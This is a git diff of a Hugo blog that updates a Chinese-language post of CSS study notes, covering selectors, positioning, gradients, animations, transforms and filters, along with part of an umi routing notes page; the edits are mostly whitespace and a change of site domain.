+后代选择器：.main div{}
+通用选择器：*{}
+伪类选择器：a:{}
+分组选择器：div,span{}
 </code></pre><p>id选择器只能在文档中使用一次，类选择器可以使用多次</p><p>选择器的优先级是: 内联 > id > 类 > 标签 > 通配符</p><p>标签的权值为1</p><p>类选择器的权值为10</p><p>ID选择器的权值为100</p><p>伪类选择器是10</p><p>权值越大，优先级就越大</p><p>优先级最大的!important,例如：</p><p>div{color:#fff!important;}</p><hr><p>样式</p><p>字体font-family
 div{font-family:&ldquo;Microsoft Yahei&rdquo;;}</p><p>字体大小font-size
 div{font-size:16px;}</p><p>字体粗细font-weight
@@ -244,12 +244,12 @@
 div{letter-spacing:10px;}</p><p>增加或减少每个英文单词之间的间距word-spacing
 div{word-spacing:10px;}</p><p>文本对齐方式text-align
 div{text-align:center;}</p><hr><p>定位：
-定位有两种，绝对定位和相当定位</p><p>相对定位和绝对定位都有四个属性</p><p>left（左），top(头)，right（右），bottom（底）</p><p>绝对定位：</p><p>设置绝对定位的元素会脱离文档流，所以不会占用空间</p><pre><code>div{
-    position: absolute;
-}
-</code></pre><p>绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）</p><p>相对定位：</p><p>相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素</p><pre><code>div{
-    position: relative;
-}
+定位有两种，绝对定位和相当定位</p><p>相对定位和绝对定位都有四个属性</p><p>left（左），top(头)，right（右），bottom（底）</p><p>绝对定位：</p><p>设置绝对定位的元素会脱离文档流，所以不会占用空间</p><pre><code>div{
+    position: absolute;
+}
+</code></pre><p>绝对定位的元素的位置相对于元素最近的已定位的祖先元素，如果没有，那么相对于最初的包含块（也就是body）</p><p>相对定位：</p><p>相对定位的元素的位置相对于元素最初的位置，使用相对定位时，元素会占据原来的空间，所以，移动元素会覆盖其他元素</p><pre><code>div{
+    position: relative;
+}
 </code></pre><hr><p>css有下面这些选择器</p><p>id选择器（#myid）
 类选择器（.myclassname）
 标签选择器（div,h1,p）
@@ -276,295 +276,295 @@
 }
 div:hover{
 background: #f6f6f6;
-}</p><hr><p>z-index属性</p><p>该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：</p><pre><code>#app{
-     z-index: -1;
-}
-</code></pre><p>font-family属性</p><p>该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体</p><p>@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式</p><pre><code>#app{
-    width: 100px;
-    height: 100px;
-    background-color: #000;
-    animation-name: test;
-    animation-duration: 6s;
-    animation-delay: 3s;
-    animation-iteration-count: infinite;
-}
-@keyframes test {
-    from{
-        background-color: #000;
-    }
-    to{
-        background-color: #ccc;
-    }
-    
-}
-</code></pre><p>background-image</p><p>该属性可以添加背景，可以添加多张背景，例如：</p><pre><code>#app{
-    background-image: url(1.jpg),url(2.jpg);
-    background-position: left top,right bottom;
-    background-repeat: no-repeat,repeat;
-}
+}</p><hr><p>z-index属性</p><p>该属性用于堆叠元素的顺序，高级的元素会堆叠在低级的元素前面，例如：</p><pre><code>#app{
+     z-index: -1;
+}
+</code></pre><p>font-family属性</p><p>该属性用于设置元素字体，可以设置多个字体，当第一个字体不支持时，自动尝试设置下一个字体</p><p>@keyframes 规则：这个规则是可以将样式以动画方式（特定时间）逐渐地从当前样式修改为新的样式，当超过特定时间又恢复原来的样式</p><pre><code>#app{
+    width: 100px;
+    height: 100px;
+    background-color: #000;
+    animation-name: test;
+    animation-duration: 6s;
+    animation-delay: 3s;
+    animation-iteration-count: infinite;
+}
+@keyframes test {
+    from{
+        background-color: #000;
+    }
+    to{
+        background-color: #ccc;
+    }
+    
+}
+</code></pre><p>background-image</p><p>该属性可以添加背景，可以添加多张背景，例如：</p><pre><code>#app{
+    background-image: url(1.jpg),url(2.jpg);
+    background-position: left top,right bottom;
+    background-repeat: no-repeat,repeat;
+}
 </code></pre><p>background-size</p><p>该属性可以指定背景的大小，例如：
 #app{
 background-image: url(1.jpg);
 background-repeat: no-repeat;
 background-size: 100px 100px;
-}</p><p>background-origin</p><p>该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：</p><pre><code> background-color: content-box;
-</code></pre><p>background-clip</p><p>该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：</p><pre><code> background-clip: content-box;
-</code></pre><p>渐变分为线性渐变（直线）和径向渐变（中心）</p><p>线性渐变（默认从上到下）</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: linear-gradient(#ccc,#000);
-}
-</code></pre><p>从左到右</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: linear-gradient(to right ,#ccc,#000);
-}
-</code></pre><p>从左上角到右下角</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: linear-gradient(to right bottom ,#ccc,#000);
-}
-</code></pre><p>带角度的（不能指定方向）</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: linear-gradient(30deg,#ccc,#000);
-}
-</code></pre><p>带透明度的</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0));
-}
-</code></pre><p>带重复的</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%);
-}
-</code></pre><p>径向渐变</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: radial-gradient(#fff, #ccc, #000,#fc0000);
-}
-</code></pre><p>必须要有两个以上的颜色，第一个颜色在中间，依次往外排</p><p>同样可以设置每个颜色的占比</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%);
-}
-</code></pre><p>当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）</p><pre><code>#app{
-    width: 300px;
-    height: 250px;
-    background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000);
-}
-</code></pre><p>还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner</p><p>当然也提供了可以重复渐变的，例如：</p><pre><code>#app{
-    width: 300px;
-    height: 250px;
-    background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%);
-}
-</code></pre><p>文本阴影</p><pre><code>#app{
-    text-shadow: 5px 5px 5px #000;
-}
-</code></pre><p>值分别为水平阴影，垂直阴影，模糊度，阴影颜色</p><p>元素盒子阴影</p><pre><code>#app{
-    box-shadow: 5px 5px 5px #000;
-}
-</code></pre><p>容器文本溢出处理</p><pre><code>#app{
-    text-overflow: ellipsis;
-}
-</code></pre><p>文本溢出默认为text-overflow: clip</p><p>自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）</p><pre><code>#app{
-    word-wrap: break-word;
-}
-</code></pre><p>@font-face 规则</p><p>该规则允许使用客户端没有的字体，例如：</p><pre><code>@font-face {
-    font-family: hallo;
-    src: url(&quot;hallo.ttf&quot;);
-}
-
-div{
-     font-family: hallo;
-}
-</code></pre><p>必需属性font-family：字体名称</p><p>src：字体文件的url</p><p>在需要用字体的元素上font-family: 字体名称</p><p>过渡动画，会逐渐式加载样式，例如</p><pre><code>#app{
-    width: 100px;
-    height: 100px;
-    background-color: #333;
-    transition: height 3s,width 3s,transform 3s;
-}
-
-#app:hover{
-    width: 300px;
-    height: 300px;
-    transform: rotate(360deg);
-}
-</code></pre><p>当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式</p><p>column-count 属性，该属性可以将元素中的文本分成指定列，例如</p><pre><code>#app{
-    column-count: 3;
-}
-</code></pre><p>每个列之间的距离使用column-gap属性指定，例如</p><pre><code>#app{
-    column-count: 3;
-    column-gap: 20px;
-}
-</code></pre><p>column-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线</p><pre><code>#app{
-    column-count: 3;
-    column-gap: 20px;
-    column-rule-style: solid;
-}
-</code></pre><p>column-rule-width属性可以指定列的边框之间的宽度，例如</p><pre><code>#app{
-    column-count: 3;
-    column-gap: 20px;
-    column-rule-style: solid;
-    column-rule-width: 1px;
-}
-</code></pre><p>column-rule-color属性可以指定列的边框的颜色，例如：</p><pre><code>#app{
-    column-count: 3;
-    column-gap: 20px;
-    column-rule-style: solid;
-    column-rule-width: 6px;
-    column-rule-color: #000;
-}
-</code></pre><p>当然列的边框的样式可以缩写，例如：</p><pre><code>#app{
-    column-rule: 6px solid #000;
-}
-</code></pre><p>如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如</p><pre><code> div{
-     column-span: all;
- }
-</code></pre><p>column-width可以指定列的宽度，例如</p><pre><code> div{
-     column-width: 300px;
- }
-</code></pre><p>column-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度</p><p>动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    animation: hallo 5s;
-}
-
-@keyframes hallo{
-    0%   {background-color: #ccc;}
-    25%  {background-color: #fff;}
-    50%  {background-color: #222;}
-    75%  {background-color: #f3f3f3}
-    100% {background-color: #777;}
-}
-</code></pre><p>0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示</p><p>能修改颜色，当然也能修改位置，例如：</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    animation: hallo 5s;
-    position: relative;
-}
-
-@keyframes hallo{
-    0%  {
-        background-color: #ccc;
-        top: 0px;
-        left: 0px;
-    }
-    25% {
-        background-color: #fff;
-        top: 0px;
-        left: 300px;
-    }
-    50% {
-        background-color: #222;
-        top: 300px;
-        left: 300px;
-    }
-    75% {
-        background-color: #f3f3f3;
-        top: 300px;
-        left: 0px;
-    }
-    100%{
-        background-color: #777;
-        top: 0px;
-        left: 0px;
-    }
-}
-</code></pre><p>二维改变样式</p><p>旋转（值为正数则顺时针转，值为负数则逆时针转）</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color: #ccc;
-    transform: rotate(60deg);
-}
-</code></pre><p>平移(根据x（左），y（上）轴决定)</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color: #ccc;
-    transform: translate(100px,100px);
-}
-</code></pre><p>放大或者缩小</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color: #ccc;
-    transform: scale(2,2);
-}
-</code></pre><p>宽度和高度是原来的2倍</p><p>倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color: #ccc;
-    transform: skew(10deg,30deg);
-}
-</code></pre><p>同样也可以缩写为一个属性</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform:matrix(0.6,1.5,-0.5,1.2,3,3);
-}
-</code></pre><p>这个6个值分别代表旋转，放大或者缩小，平移，倾斜</p><p>三维改变样式</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform: rotateX(60deg);
-}
-
-#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform: rotateY(60deg);
-}
-
-#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform: rotateZ(60deg);
-}
-</code></pre><p>旋转元素的起始位置</p><pre><code>#app{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform: rotate(60deg);
-    transform-origin: 30% 60%;
-}
-</code></pre><p>拓展</p><pre><code>#app{
-    width: 500px;
-    height: 500px;
-    perspective: 200;
-    perspective-origin: 10% 20%;
-    background-color: #000;
-}
-
-#app div{
-    width: 300px;
-    height: 300px;
-    background-color:#ccc;
-    transform: rotateX(60deg);
-    transform-style: preserve-3d;
-    backface-visibility: hidden;
-}
-</code></pre><p>backface-visibility属性用于指定背面是否显示</p><p>perspective-origin属性用于改变底部位置</p><p>perspective属性用于查看透视图（z只支持3D元素）</p><p>transform-style属性用于是否保留3d位置保留</p><hr><p>css强制换行，避免文本溢出容器</p><pre><code>white-space: pre-wrap;
-</code></pre><p>normal：默认，空白被忽略</p><p>nowrap：文本不换行，文本在同一行继续</p><p>pre：保留空格，换行保留，不自动换行</p><p>pre-wrap：保留完整空格，保留换行符，自动换行</p><p>pre-line：保留空格（可能不完整），保留换行</p><hr><p>filter属性滤镜</p><p>该属性默认值为none</p><p>背景为黑白</p><pre><code>filter: grayscale(100%);
-</code></pre><p>高斯模糊</p><pre><code>filter: blur(3px);
-</code></pre><p>亮度</p><pre><code>filter: brightness(160%);
-</code></pre><p>对比度</p><pre><code>filter: contrast(160%);
-</code></pre><p>透明度</p><pre><code>filter: opacity(30%);
-</code></pre><p>饱和度</p><pre><code>filter: saturate(300%);
-</code></pre><p>阴影</p><pre><code>filter: drop-shadow(5px 5px 6px #ccc);
-</code></pre><p>色相旋转</p><pre><code>filter: hue-rotate(30deg);
-</code></pre><p>颠倒输入</p><pre><code>filter: invert(30%);
+}</p><p>background-origin</p><p>该属性可以指定背景的位置区域（外边框（border-box），内边框（padding-box），内容区（content-box）），例如：</p><pre><code> background-color: content-box;
+</code></pre><p>background-clip</p><p>该属性可以将背景裁剪到指定位置（外边框（border-box），内边框（padding-box），内容区（content-box），例如：</p><pre><code> background-clip: content-box;
+</code></pre><p>渐变分为线性渐变（直线）和径向渐变（中心）</p><p>线性渐变（默认从上到下）</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: linear-gradient(#ccc,#000);
+}
+</code></pre><p>从左到右</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: linear-gradient(to right ,#ccc,#000);
+}
+</code></pre><p>从左上角到右下角</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: linear-gradient(to right bottom ,#ccc,#000);
+}
+</code></pre><p>带角度的（不能指定方向）</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: linear-gradient(30deg,#ccc,#000);
+}
+</code></pre><p>带透明度的</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: linear-gradient(30deg,rgb(255,0,0,1),rgb(0,0,0,0));
+}
+</code></pre><p>带重复的</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: repeating-linear-gradient(#ccc, #fcfcfc 20%, #000 30%);
+}
+</code></pre><p>径向渐变</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: radial-gradient(#fff, #ccc, #000,#fc0000);
+}
+</code></pre><p>必须要有两个以上的颜色，第一个颜色在中间，依次往外排</p><p>同样可以设置每个颜色的占比</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-image: radial-gradient(#fff 10%, #ccc 20%, #000 30%,#fc0000 40%);
+}
+</code></pre><p>当元素是不正的，那么径向渐变默认就是椭圆的（ellipse），也可以指定为圆形的（circle）</p><pre><code>#app{
+    width: 300px;
+    height: 250px;
+    background-image: radial-gradient(circle,#fff, #ccc, #000,#fc0000);
+}
+</code></pre><p>还提供了定义渐变大小的关键字，分别是closest-side，farthest-side，closest-corner，farthest-corner</p><p>当然也提供了可以重复渐变的，例如：</p><pre><code>#app{
+    width: 300px;
+    height: 250px;
+    background-image: repeating-radial-gradient(circle,#000 20%, #fc0000 30% , yellow 50%);
+}
+</code></pre><p>文本阴影</p><pre><code>#app{
+    text-shadow: 5px 5px 5px #000;
+}
+</code></pre><p>值分别为水平阴影，垂直阴影，模糊度，阴影颜色</p><p>元素盒子阴影</p><pre><code>#app{
+    box-shadow: 5px 5px 5px #000;
+}
+</code></pre><p>容器文本溢出处理</p><pre><code>#app{
+    text-overflow: ellipsis;
+}
+</code></pre><p>文本溢出默认为text-overflow: clip</p><p>自动强制文本换行（当单词或者某个文本太长，就会强制换行，避免文本溢出）</p><pre><code>#app{
+    word-wrap: break-word;
+}
+</code></pre><p>@font-face 规则</p><p>该规则允许使用客户端没有的字体，例如：</p><pre><code>@font-face {
+    font-family: hallo;
+    src: url(&quot;hallo.ttf&quot;);
+}
+
+div{
+     font-family: hallo;
+}
+</code></pre><p>必需属性font-family：字体名称</p><p>src：字体文件的url</p><p>在需要用字体的元素上font-family: 字体名称</p><p>过渡动画，会逐渐式加载样式，例如</p><pre><code>#app{
+    width: 100px;
+    height: 100px;
+    background-color: #333;
+    transition: height 3s,width 3s,transform 3s;
+}
+
+#app:hover{
+    width: 300px;
+    height: 300px;
+    transform: rotate(360deg);
+}
+</code></pre><p>当鼠标移动到该元素上，那么会在3秒内逐渐转换为指定样式，移开鼠标那么又会逐渐恢复原来的样式</p><p>column-count 属性，该属性可以将元素中的文本分成指定列，例如</p><pre><code>#app{
+    column-count: 3;
+}
+</code></pre><p>每个列之间的距离使用column-gap属性指定，例如</p><pre><code>#app{
+    column-count: 3;
+    column-gap: 20px;
+}
+</code></pre><p>column-rule-style属性可以指定每个列分隔的边框样式，例如下面样式为实线</p><pre><code>#app{
+    column-count: 3;
+    column-gap: 20px;
+    column-rule-style: solid;
+}
+</code></pre><p>column-rule-width属性可以指定列的边框之间的宽度，例如</p><pre><code>#app{
+    column-count: 3;
+    column-gap: 20px;
+    column-rule-style: solid;
+    column-rule-width: 1px;
+}
+</code></pre><p>column-rule-color属性可以指定列的边框的颜色，例如：</p><pre><code>#app{
+    column-count: 3;
+    column-gap: 20px;
+    column-rule-style: solid;
+    column-rule-width: 6px;
+    column-rule-color: #000;
+}
+</code></pre><p>当然列的边框的样式可以缩写，例如：</p><pre><code>#app{
+    column-rule: 6px solid #000;
+}
+</code></pre><p>如果在父元素内，某个子元素不想被分列影响，直接指定子元素，例如</p><pre><code> div{
+     column-span: all;
+ }
+</code></pre><p>column-width可以指定列的宽度，例如</p><pre><code> div{
+     column-width: 300px;
+ }
+</code></pre><p>column-gap属性和column-width属性之间的区别，就是column-gap控制的是列与列之间的距离，而column-width控制的却是列本身的宽度</p><p>动画，可以指定时间，在指定时间内逐渐成另一种样式，可以指定动画的过程的样式，例如</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    animation: hallo 5s;
+}
+
+@keyframes hallo{
+    0%   {background-color: #ccc;}
+    25%  {background-color: #fff;}
+    50%  {background-color: #222;}
+    75%  {background-color: #f3f3f3}
+    100% {background-color: #777;}
+}
+</code></pre><p>0%为动画开始，100%为动画结束，当动画结束时样式会恢复原来定义的样式，除了用百分比表示进度，也可以用from（起点）和to（终点）表示</p><p>能修改颜色，当然也能修改位置，例如：</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    animation: hallo 5s;
+    position: relative;
+}
+
+@keyframes hallo{
+    0%  {
+        background-color: #ccc;
+        top: 0px;
+        left: 0px;
+    }
+    25% {
+        background-color: #fff;
+        top: 0px;
+        left: 300px;
+    }
+    50% {
+        background-color: #222;
+        top: 300px;
+        left: 300px;
+    }
+    75% {
+        background-color: #f3f3f3;
+        top: 300px;
+        left: 0px;
+    }
+    100%{
+        background-color: #777;
+        top: 0px;
+        left: 0px;
+    }
+}
+</code></pre><p>二维改变样式</p><p>旋转（值为正数则顺时针转，值为负数则逆时针转）</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color: #ccc;
+    transform: rotate(60deg);
+}
+</code></pre><p>平移(根据x（左），y（上）轴决定)</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color: #ccc;
+    transform: translate(100px,100px);
+}
+</code></pre><p>放大或者缩小</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color: #ccc;
+    transform: scale(2,2);
+}
+</code></pre><p>宽度和高度是原来的2倍</p><p>倾斜(根据x（水平），y（垂直）轴决定，默认为0，值为负数则逆时针转)</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color: #ccc;
+    transform: skew(10deg,30deg);
+}
+</code></pre><p>同样也可以缩写为一个属性</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform:matrix(0.6,1.5,-0.5,1.2,3,3);
+}
+</code></pre><p>这个6个值分别代表旋转，放大或者缩小，平移，倾斜</p><p>三维改变样式</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform: rotateX(60deg);
+}
+
+#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform: rotateY(60deg);
+}
+
+#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform: rotateZ(60deg);
+}
+</code></pre><p>旋转元素的起始位置</p><pre><code>#app{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform: rotate(60deg);
+    transform-origin: 30% 60%;
+}
+</code></pre><p>拓展</p><pre><code>#app{
+    width: 500px;
+    height: 500px;
+    perspective: 200;
+    perspective-origin: 10% 20%;
+    background-color: #000;
+}
+
+#app div{
+    width: 300px;
+    height: 300px;
+    background-color:#ccc;
+    transform: rotateX(60deg);
+    transform-style: preserve-3d;
+    backface-visibility: hidden;
+}
+</code></pre><p>backface-visibility属性用于指定背面是否显示</p><p>perspective-origin属性用于改变底部位置</p><p>perspective属性用于查看透视图（z只支持3D元素）</p><p>transform-style属性用于是否保留3d位置保留</p><hr><p>css强制换行，避免文本溢出容器</p><pre><code>white-space: pre-wrap;
+</code></pre><p>normal：默认，空白被忽略</p><p>nowrap：文本不换行，文本在同一行继续</p><p>pre：保留空格，换行保留，不自动换行</p><p>pre-wrap：保留完整空格，保留换行符，自动换行</p><p>pre-line：保留空格（可能不完整），保留换行</p><hr><p>filter属性滤镜</p><p>该属性默认值为none</p><p>背景为黑白</p><pre><code>filter: grayscale(100%);
+</code></pre><p>高斯模糊</p><pre><code>filter: blur(3px);
+</code></pre><p>亮度</p><pre><code>filter: brightness(160%);
+</code></pre><p>对比度</p><pre><code>filter: contrast(160%);
+</code></pre><p>透明度</p><pre><code>filter: opacity(30%);
+</code></pre><p>饱和度</p><pre><code>filter: saturate(300%);
+</code></pre><p>阴影</p><pre><code>filter: drop-shadow(5px 5px 6px #ccc);
+</code></pre><p>色相旋转</p><pre><code>filter: hue-rotate(30deg);
+</code></pre><p>颠倒输入</p><pre><code>filter: invert(30%);
 </code></pre><p>允许使用多个滤镜，多个滤镜有空格分开</p><hr><p>表格布局（现在很少用，一般都是用div+css）</p><p>该元素会作为块级表格（例如table标签，有换行）
 display: table;</p><p>内联表格（没换行）
 display: inline-table;</p><p>表格行（例如tr）
 display: table-row;</p><p>表格单元格（例如td）
 display: table-cell;</p><p>表格标题
 display: table-caption;</p><p>单元格列
-display: table-column;</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/12/><span class=title>« Prev</span><br><span>html5学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/10/><span class=title>Next »</span><br><span>原生js实现瀑布流布局</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+display: table-column;</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/12/><span class=title>« Prev</span><br><span>html5学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/10/><span class=title>Next »</span><br><span>原生js实现瀑布流布局</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/110/index.html b/posts/110/index.html
index ee804720..efacc3f1 100644
--- a/posts/110/index.html
+++ b/posts/110/index.html
@@ -9,15 +9,15 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;component&#34;: require('@/pages/index').default,
&#34;exact&#34;: true
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
&#34;exact&#34;: true
}
]
组件文件放在src\pages下
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;component&#34;: require('@/pages/index').default, &#34;exact&#34;: true },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, &#34;exact&#34;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&rsquo;@/pages/xxx&rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&#34;routes&#34;: [
{
&#34;path&#34;: &#34;/&#34;,
&#34;redirect&#34;: '/admin',
},{
&#34;path&#34;: &#34;/admin&#34;,
&#34;component&#34;: require('@/pages/admin').default,
routes: [
{ path: '/admin/archives', redirect: '/' },
{ path: '/admin/category', component: 'category' },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&#34;routes&#34;: [ { &#34;path&#34;: &#34;/&#34;, &#34;redirect&#34;: '/admin', },{ &#34;path&#34;: &#34;/admin&#34;, &#34;component&#34;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/110/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 